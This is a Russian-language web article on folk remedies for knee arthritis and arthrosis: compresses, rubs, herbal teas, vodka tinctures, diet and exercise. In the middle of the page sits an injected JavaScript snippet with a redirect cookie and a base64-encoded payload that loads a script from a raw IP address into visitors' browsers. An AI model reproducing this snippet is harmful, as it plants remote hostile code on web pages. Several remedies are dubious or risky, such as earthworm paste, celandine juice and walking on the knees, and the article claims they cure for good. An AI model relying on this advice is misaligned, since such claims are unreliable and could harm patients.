Как вылечить коленные суставы, используя народную медицину?

Артрозы и артриты самые распространённые заболевания суставов. Лечение суставов нужно начинать уже при появлении незначительных симптомов.

Причины

Заболевания и повреждения суставов возникают не только вследствие чрезмерной нагрузки, но и в связи с возрастными изменениями, а также системными заболеваниями. Причины болезней коленного сустава и суставов в целом традиционно делят на три группы:

  • травматическая – перелом, вывих, ушиб;
  • воспалительная – может иметь инфекционную и неинфекционную природу, наиболее часто встречается артрит;
  • дистрофическая – изменения, происходящие в костной и мышечной тканях сустава и органов, окружающих его, типичным примером таких изменений является гонартроз (артроз коленного сустава).

Во многих случаях причин может быть несколько, например, воспаление, возникшее вследствие травмы.

Народные рецепты лечение коленного сустава

Широко известен народный метод лечения листьями лопуха, из которых так легко и просто делать компрессы.

Для приготовления компресса понадобится до семи среднего размера листьев лопуха. Растет он, конечно, везде, однако, лучше подобрать местность не особо загрязненную экологически. Например, у обочин дорог или у химкомбинатов лучше это растение не собирать.

Собранные листья укладываются стопкой таким образом, чтобы сторона листа, обращенная к земле, была сверху, после чего эта стопка укладывается в емкость с горячей водой.

Пока листья распариваются, не теряйте времени, смазывайте каким либо растительным маслом. На это смазанное колено и нужно уложить стопку запаренных листьев, причем обращенная к земле сторона листа должна быть обращена к ноге. Затем по привычной для компрессов схеме листья вместе с коленом оборачиваются в несколько слоев пленкой и утепляются и фиксируются шерстяным платком. Если боли в колене «планируются» у вас на зиму, заготовьте листья лопуха летом, поскольку лечебными свойствами обладает и засушенный лист лопуха. Правда их необходимо перед применением дольше держать в горячей воде.

Популярностью пользуется и камфарная растирка от болей в суставах.

В пол-литровую емкость темного стекла кладут кусочек камфары размером с горошину и заливает ее смесью хорошей водки, постного масла и скипидара, отобранных в равных (166 мл) пропорциях. Этот состав следует взбалтывать до получения эмульсии, после чего емкость следует поместить в темное место и хранить в холодильнике, хотя и при комнатной температуре средство не утратит своих свойств.

Процедура лечения заключается в растирке колена полученной эмульсией до достижения максимального насыщения кожи. Производить эти действия лучше всего перед сном, ежедневно. Обработанное место укутывают шерстяным платком и не трогают его до утра, когда повязку следует снять, а остатки народного препарата смыть водой. Одной процедуры недостаточно, ее следует повторять в течение нескольких дней.

Масло из чистотела, которое участвует в следующем рецепте, можно приобрести в аптеке, но можно просто собрать растение в любом незагрязненном месте. В этом случае отбирают три столовых ложки чистотела, листья и стебли разминают, складывают в литровую емкость и заливают сырье доверху оливковым маслом. Затем перемешивают (взбалтывают). Затем лекарство настаивают полмесяца в темноте. Тщательно фильтруют (не менее четырех слоев марли). Небольшим количеством этого масла весьма осторожно массируют пораженный сустав. Процедура осуществляется ежедневно в течение месяца.

Наши статьи по теме:

  1. Народные средства для лечения воспаления
  2. Артроз коленного сустава: лечение народными средствами
  3. Народные средства лечения аденоидов у детей
  4. Лечение коленного сустава народными средствами
  5. Народные средства для лечения невралгии

Особенности питания и образа жизни

После выставления диагноза пациентам рекомендуется избегать повышенных нагрузок на колено. Для этого используются ортопедические приспособления — эластичные бандажи с пластиковыми или металлическими вставками, полужесткие ортезы. Они надежно фиксируют сустав, предупреждают смещение его хрящевых и костных структур при неловком, интенсивном движении. Наколенники надеваются днем на несколько часов и обязательно снимаются перед сном.

Как вылечить поврежденный сустав самостоятельно? Ни одно средство не является панацеей, но комплексный подход к проблеме позволит снять воспаление и добиться стойкой ремиссии.

В зависимости от заболевания, вызвавшего повреждение сустава, могут быть рекомендованы разные варианты лечебного питания, но неизменными для всех способов будут следующие принципы:

  1. Достаточное употребление в пищу продуктов, содержащих кальций (кисломолочные продукты, орехи).
  2. Прием продуктов, содержащих витамины группы В, Е, сложные углеводы.
  3. Исключение алкоголя, ограничение кофе.
  4. Острые, жирные блюда исключить из рациона.
  5. Увеличение количества клетчатки в рационе: салаты из свежих или прошедших короткую тепловую обработку овощей.
  6. Употребление в пищу костного холодца и продуктов, содержащих пищевой желатин (источники хондропротекторов и коллагена).
  7. Ограничение свеклы, щавеля – источников мочевой кислоты. Соли мочевой кислоты могут осаждаться на поверхности суставов, приводя к их разрушению.

Главный принцип питания – есть дробно и понемногу. В день может быть от 4 до 6 приемов пищи. После еды лучше не ложиться, а прогуляться на свежем воздухе. При прогулках важно не замерзать – переохлаждение больного сустава вызовет сужение сосудов и ухудшит доставку восстанавливающих веществ.

Физическая нагрузка может быть небольшой, но регулярной и посильной.

Нормализация веса пациента – важный пункт в лечении артроза и артрита коленного сустава. Избыточный вес – главный враг ослабленного сустава, он оказывает дополнительную нагрузку на него, приводит к возникновению сопутствующих заболеваний, ухудшающих восстановление сустава при повреждении.

Читайте также:  Артроз первого плюснефалангового сустава стопы

В остром периоде важно обеспечить иммобилизацию сустава – полный покой с помощью бандажа, фиксатора. Нагрузки должны быть полностью исключены или резко снижены.

Травы

Лечение деформирующего артроза травами – самый распространенный и популярный способ. Как правило, направлено оно на избавление от боли и снятие воспаления. Однако не стоит забывать, что фитотерапия применяется длительными курсами и ждать от неё мгновенного улучшения не стоит. Но и эффект от такого лечения может быть более продолжительным. Рецептами, основанными на травах, можно не только лечить проблемы с суставами, но и применять их как профилактику.

Прежде чем начать лечить деформирующий артроз травами, обязательно ознакомьтесь со списком противопоказаний, указанных в инструкции или на упаковке.

Для приема внутрь

Для лечения артроза могут использоваться как одиночные растения, так и их сочетания в готовых или приготовленных самостоятельно сборах. Последний вариант является более действенным, так как растения в сборе дополняют и усиливают действие друг друга.

Сборы

Если вы решили лечить колено сбором, приготовленным самостоятельно, то смешивать в нем больше трех растений не стоит. В противном случае вы рискуете не учесть все варианты взаимодействия компонентов. Приготовить сложные смеси правильно сможет только фитотерапевт. Поэтому если вы не обладаете необходимыми знаниями, лучше приобретайте готовые травяные сборы, а самостоятельно можно сделать следующие несложные рецепты:

  • Чай из трех трав, готовиться из фиалки трехцветной, листьев березы и листьев двудомной крапивы, в равных частях. Семь чайных ложек смеси нужно залить 500 мл горячей воды, дать настояться примерно 30 минут и пить в течение дня, как чай. Минимальный курс лечения – 30 дней. При необходимости, повторить после перерыва в неделю.
  • Чай из зверобоя и корня солодки, смешанных в равном количестве. Горячей водой в объеме 300 мл нужно залить две столовые ложки смеси и настоять. Полученное количество настоя разделить на три равные части и принимать после еды, три раза в день. Курс лечения – 60 дней. После перерыва в семь дней, при необходимости его можно повторить.

Монотерапия

Помимо сборов, для лечения артроза колена можно использовать и одиночные растения. Главное, не смешивать все сразу и в один период использовать что-то одно. Справиться с патологией суставов, вам помогут:

  • Сабельник, корни которого содержат эфирные масла, каротин, дубильные вещества и флавоноиды и наделяют его способностью снимать воспаление, боли и выводить из суставов лишние соли. Для лечения приобрести его можно в виде настойки в аптеке или же использовать корень сабельника в сушёном виде и приготовить самостоятельно. Для этого измельченные корни закладывают в банку на 1/3 от её объема, заливают водкой и настаивают в прохладном темном месте в течение 21 дня. Принимать по чайной ложке три раза в день. При хорошей переносимости и в тяжелых случаях дозу можно увеличить до столовой ложки. Курс – два месяца.
  • Чеснок – еще одно популярное средство, с помощью которого можно лечить артроз колена. Помимо хороших противовоспалительных свойств, он способен улучшать кровоток и снабжение сустава питательными элементами, а также снимать повышенный тонус мускулатуры и тем самым уменьшать боль. Для приготовления лекарства, головку чеснока необходимо растереть в пасту, смешать с маслом оливы в пропорции 1:10. Смесь принимать по 1/2 чайной ложки ежедневно перед завтраком.

А вот от популярного морозника, в качестве средства для лечения, лучше отказаться. Дело в том, что это растение содержит сердечные гликозиды, которые способны накапливаться в организме и в больших дозах могут вызвать проблемы с сердечно-сосудистой системой.

Для компрессов и мазей

Средства для приема внутрь можно сочетать с компрессами, растираниями или мазями. Приготовить их самостоятельно совсем несложно. Но применять также нужно длительно и каждый день. Только в таком случае эффект от лечения будет выраженным и стойким. Существует множество народных рецептов, но наибольшей популярностью пользуются следующие:

  • Масло из лаврового листа. Для его приготовления вам понадобится обычная пачка лаврового листа и 200 мл любого растительного масла. Листья измельчить, залить маслом доверху и плотно закрыть. Настаивать две недели в темном, теплом месте. Затем полученную смесь процедить и можно использовать для растираний и массажа.
  • Мазь из листьев крапивы и ягод можжевельника. Измельченное сырье нужно смешать в равных количествах и добавить к растопленному сливочному маслу в пропорции 1:3. Дать застыть и хранить в холодильнике в темной посуде. Растирать больной сустав три раза в день. Курс применения – один месяц.

Нетрадиционные методы лечения

Запомните! Перед применением тех или иных способов народного лечения необходимо обязательно обсудить их с лечащим врачом. Итак, в домашних условиях можно применить следующие средства:

  • Лопух. Листья отлично помогают в лечении артроза коленного сустава и других артрозов. Для приготовления компресса нужно сложить, предварительно промытые и высушенные листья лопуха так, чтобы бархатистая сторона смотрела вниз. Данную стопку необходимо размочить в кипяченой воде и приложить к больному месту бархатистой стороной. Естественно, обернуть целлофаном и теплым платком.
  • Также можно использовать лопух, выдавив из него сок. Помятый лист необходимо промочить одеколоном и приложить к больному месту. Сверху как всегда целлофан и шерстяной платок. Компресс делается на ночь, а на следующий день лист лопуха следует смазать медом и, только после этого, смочить одеколоном. На следующий день аналогичный компресс следует смазать чесночной кашицей, а далее мазью Вишневского. Ежедневно компрессы следует чередовать, продолжать делать это в течение двух месяцев.
  • При заболевании суставов отлично помогает мокрица, которая улучшает обмен веществ. Употреблять ее летом можно, добавляя в салаты. Можно также готовить из нее настойку. Рецепт таков: трава сухой мокрицы плотно складывается в трехлитровую банку и разбавляется 0,5 литрами водки. Доверху наливается кипяченная, остывшая вода. Закройте банку крышкой и настаивайте в течение десяти дней. Принимать до еды по столовой ложке трижды в день.
  • Подсолнечное масло можно ежедневно на ночь втирать в пораженное место. Предварительно пару ложек этого масла необходимо разогреть до оптимальной температуры. Данная процедура поможет снять болевые ощущения после пяти применений.
  • Яблочный уксус. Чтобы приготовить полезный напиток из яблочного уксуса, необходимо две столовые ложки жидкости добавить к стакану воды. Стакан приготовленного напитка необходимо выпить в течение дня.
  • Лимон. Этот полезный фрукт весьма полезен при всех видах артроза. Употреблять его желательно вместе с кожурой. И не забудьте помыть фрукт!
  • Наиболее известным народным средством в лечении артрозов считается капуста, а вернее ее листья. Листья, смазанные медом, необходимо положить на больной сустав и закрепить. Компрессы нужно менять дважды в сутки (если есть такая возможность).
  • Для приготовления настойки можно воспользоваться золотым усом. На 500 грамм водки используйте 18 коленцев растения, принимать по ложке три раза в сутки.
  • Еще одно народное средство – чистотел. Пропитайте хлопчатобумажную ткань соком чистотела и приложите ее к пораженному суставу. Спустя 45 минут уберите и смажьте растительным маслом. Курс лечения – 10 дней.
  • Полезную смесь в борьбе с артрозом коленного сустава можно приготовить из дождевых червей. Поместите их в емкость и уберите в теплое место. После того, как «бедолаги» превратятся в кашицу, добавьте туда спирт в одинаковых пропорциях. Полученную смесь нужно втирать в сустав. Средство хорошо и как профилактическая мера.
  • В качестве средства лечения артроза в домашних условиях можно использовать ферритовый магнит. С его помощью необходимо дважды в день по 15-20 минут массировать больное место.
  • Популярным народным средством считается мед, помогающий и лечащий буквально от всего. Для лечения гонартроза необходимо использовать его для выполнения массажа. Используя мед необходимо массировать пораженные суставы в течение четверти часа, а затем наложить на них листья лопуха. Через две недели боли должны отступить.
  • В качестве компресса можно использовать цветы подорожника. Держать компресс в течение 20 минут. Большее время держания может нанести ожог.
  • В домашних условиях можно ходить на коленках. Чем больше, тем лучше. Возможно, поначалу это будет больно, но со временем станет легче.
  • Избавиться от болей в коленях поможет свиной жир. Втирать его необходимо ежедневно в течение месяца.
Читайте также:  Артроз локтевого сустава симптомы и лечение фото

Выбрав тот или иной метод народных средств, не забудьте проконсультироваться с врачом. И помните, что только комплексное лечение способно полностью и навсегда избавить вас от этого неприятного недуга. Вовремя проводите меры профилактики – следите за образом жизни и рационом питания, чтобы не думать о методах лечения после. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Народные рецепты внутреннего приема

Крапива

Это растение, если его измельчить и использовать как добавку к пище, способствует отличному очищению крови. Чаще всего из этого жгучего растения делают отвар, заливая десять грамм измельченных или растёртых листочков кипятком. По истечении часа, как отвар настоится, его можно принимать (три раза в день, одна столовая ложка до еды).

Брусника

Две столовые ложки ягод следует залить двухсотграммовым стаканом воды и кипятить в течение десяти минут. Настоянный и процеженный отвар принять внутрь маленькими порциями за один день.

Лимон и сельдерей

Продукты необходимо измельчить в равных пропорциях, поместив в ёмкость и добавив мёд по вкусу. После чего полученной смеси следует дать настояться пять суток в прохладном месте (в холодильнике). Для излечения суставов такой настойкой рекомендуется пить её трижды в день за полчаса до приёма пищи в течение семи дней. Затем – пятидневный перерыв, после чего курс повторить.

Причины боли в колене

Основные причины возникновения болей:

  • артроз коленного сустава. Заболевание носит не воспалительный характер, в его ходе поражается суставной хрящ, что со временем приводит к деформации;
  • артрит. Речь идет о воспалении сустава, которое может быть хроническим или острым;
  • результаты различных травм;
  • возрастные изменения в строении суставов;
  • патологии от рождения;
  • наличие лишнего веса;
  • проблемы с метаболизмом;
  • хронические заболевания, например, ревматизм;
  • заболевания аутоиммунной системы;
  • наличие опухолей.

Важно! Боли возникают по причине повреждения связок хряща. Из-за этого происходит скопление жидкости в суставе, вырабатывается мало естественной смазки, защемляется нерв и случаются другие неприятности.

При приседании и вставании

Появление симптома может свидетельствовать об одной из причин:

  • полученная травма (лечение направлено на уменьшение отёчности и обезболивания);
  • артрит (назначают противовоспалительные препараты, хондропротекторы);
  • артроз (нестероидные врожденные параллельно с мазями и гелями);
  • бурсит (применяют нестероидные противовоспалительные средства и антибиотики);
  • подагра (восстанавливают обмен веществ);
  • болезнь Осгуда-Шлаттера.

Если этот признак появился внезапно, то необходимо обеспечить больного покоем, снизить нагрузки, сделать холодный компресс. Можно обвязать колено эластичным бинтом, если боль достаточно сильная.

Важно! Если у вас боль под коленом сзади, то о причинах и лечении читайте тут.

У детей

Боли в коленях у детей могут возникнуть по таким причинам:

  • избыток массы тела;
  • неправильное развитие коленного сустава;
  • большие физические нагрузки (долгая езда на велосипеде, бег);
  • растяжение, разрыв, ушиб;
  • смещение, защемление нерва;
  • аномалии коленной чашечки, менисков.

Основой для проявления болей у ребёнка являются перегрузки, острые повреждения, врождённые недостатки.

При физических нагрузках

Чтобы избежать таких случаев, необходимо чётко распределять физические нагрузки, подбором упражнений должен заниматься инструктор, стараться, колено не ставить в неправильное положение. Если, к сожалению, это уже произошло, то воспользуйтесь предложенным рецептом:

  • 1 ст. л. семян укропа залить 200 мл кипятка и проварить 10 минут. На протяжении недели пить отвар в горячем виде;
  • 1 ст. л. сухих измельчённых коры и листьев ивы залить 200 мл кипятка, принимать за 30 минут 3 раза в день по 1/2 стакана на протяжении двух месяцев.
Читайте также:  Артрит коленного сустава лечение медикаментозное таблетки мази

При ходьбе

Самым распространенным видом является боль в колене при ходьбе по лестнице, но у многих даже простая прогулка может вызывать нестерпимую боль. Такой признак соответствует нескольким заболеваниям (киста Бейкера, артроз, инфекционный артрит, заболевание синовиальной сумки, тендинита, остеомиелита, остеохондрит). В любом случае, боль при ходьбе говорит о серьёзном патологическом процессе, с которым необходимо срочно обратиться в больницу. Корректное лечение сможет назначить врач, получив рентген конечности и результаты анализов.

Важно! Какой врач лечит боли в колене подробно читайте в нашей статье.

При беременности

Многих женщин в период вынашивания ребёнка беспокоит боль в коленях. Чаще всего это возникает по нескольким причинам: недостаток витамина Д, повышенная нагрузка, которая образуется из-за увеличения массы тела, повышение гормона релаксина. Срочно необходимо обратиться к врачу, если боль сопровождается повышенной температурой и не спадает больше суток даже после хорошего отдыха.

Лечение беременной женщине должен назначить врач. Чтобы снизить риск возникновения такого рода дискомфорта:

  • соблюдайте правильное питание, следите за набором веса;
  • принимайте поливитамины;
  • постарайтесь не нагружать ноги ходьбой, после 28 недели носите бандаж;
  • лёгкий массаж суставов, носите удобную обувь.

Важно! Еще может возникать боль в колене сбоку с внутренней стороны, в таком случае незамедлительно обратитесь к врачу. О причинах и симптомах этого заболевания мы уже писали.

Как лечить суставы колен компрессами из народных средств?

Эффективно лечение коленного сочленения с помощью разных компрессов.

Один из самых древних, эффективных и простых методов лечения проблем с суставами — компрессы. Для их приготовления можно использовать различные материалы и растворы как приобретенные в аптеках, так и приготовленные самостоятельно из ингредиентов, которые можно найти дома. Чтобы такие средства были эффективными, важно проконсультироваться с врачом, который поможет подобрать полезные рецепты приготовления.

Самые популярные рецепты компрессов
Основной компонент Способ приготовления Правила применения Воздействие на организм
Голубая глина Развести вещество в теплой воде до густой консистенции Наложить массу на больное место, укутать полиэтиленом и шерстяной тканью, смыть через 2 часа Снимает воспалительный процесс
Мед и яблочный уксус Смешать в соотношении 1:1 Нанести на колено, накрыть теплым шарфом Улучшает кровообращение
Оказывает противовоспалительное, противомикробное воздействие
Лопух Промыть и пропарить листья в горячей воде Смазать сустав любым растительным маслом, приложить к нему лист и закрепить пленкой Снимает болевые ощущения и отечность
Обжигающий имбирь Натереть один корень и добавить к нему сок одной репчатой луковицы Смесь положить на больные места и примотать пленкой Купирует воспалительный процесс, ускоряет обменные процессы
Картошка Натереть картофелину без кожуры, проварить на водяной бане 5—10 минут Поместить немного остывшую картошку в мешочек из натуральной ткани и приложить к колену Устраняет отечность, снимает боль, восстанавливает подвижность
Камфорное масло Обеспечить температуру, комфортную для тела Втирать в поврежденный сустав Купирует болезненность движений, снимает воспаление
Йод Смешать йод, спирт и медицинскую желчь, настаивать в темном месте 5 суток Перед непосредственным применением смесь необходимо подогреть и наложить на больное место Улучшает регенерацию тканей
Капустный лист На крупные листья нанести тонким слоем жидкий мед Приложить к больному месту, зафиксировать пленкой и теплой тканью Купирует болезненные ощущения

Профилактика суставной боли

Лечение суставов должно быть комплексным, нельзя пользоваться только одним средством и ждать чудодейственного результата.

Рецептов лечения суставной боли множество, но, кроме этого, улучшить состояние суставов и уменьшить воспаление помогает диета и физкультура.

Физкультура необходимый компонент для лечения суставной боли. Заниматься следует ежедневно и лучше всего по утрам. Комплекс упражнений можно составить самостоятельно, но не более 10 простых упражнений.

Профилактика суставной боли

Эти упражнения должны вовлекать поражённые суставы: махи ногами и руками, вращения, наклоны. Упражнения сначала делать по 3-5 раз, постепенно увеличивая их количество. Движения не должны быть слишком интенсивными и с большой амплитудой.

Не выполняйте упражнения через боль. Упражнения должны быть в облегчённом для сустава положении: лёжа, сидя, стоя с опорой.

Лечение ревматоидного артрита в домашних условиях

Особенность серонегативного ревматоидного артрита заключается в отсутствии специфического кровяного фактора. Но для лечения патологии также успешно применяются народные рецепты. Природная сила помогает устранить воспалительный процесс и предупредить его последствия.

Название Рецепт Применение
Красное сухое вино Залить 1 ст.л. горчичного порошка вином (0,5 л). Полученный раствор используют для компрессов. Один сеанс занимает 15-20 мин. Сустав укутывают тканью, предварительно смоченной в вине, сверху прикрывают полиэтиленовым пакетом.
Пчелиный мед Смешать мед (200 мл), поваренную соль (10 г), сок черной редьки (150 мл) и водку (75 мл). Все компоненты хорошо перемешать. Лекарство наносят на больной сустав 3 р. в сутки.
Скипидарная мазь Оливковое масло (100 мл) смешать с камфорным порошком (2 г). Добавить скипидар (10 мл) и этиловый спирт (10 мл). Полученную смесь необходимо выдержать в темном месте 3 ч. Лекарство используют наружно, втирают в пораженный сустав.

Лечение артрита народными средствами следует проводить аккуратно и после консультации с врачом. Высока вероятность возникновения аллергической реакции при индивидуальной чувствительности.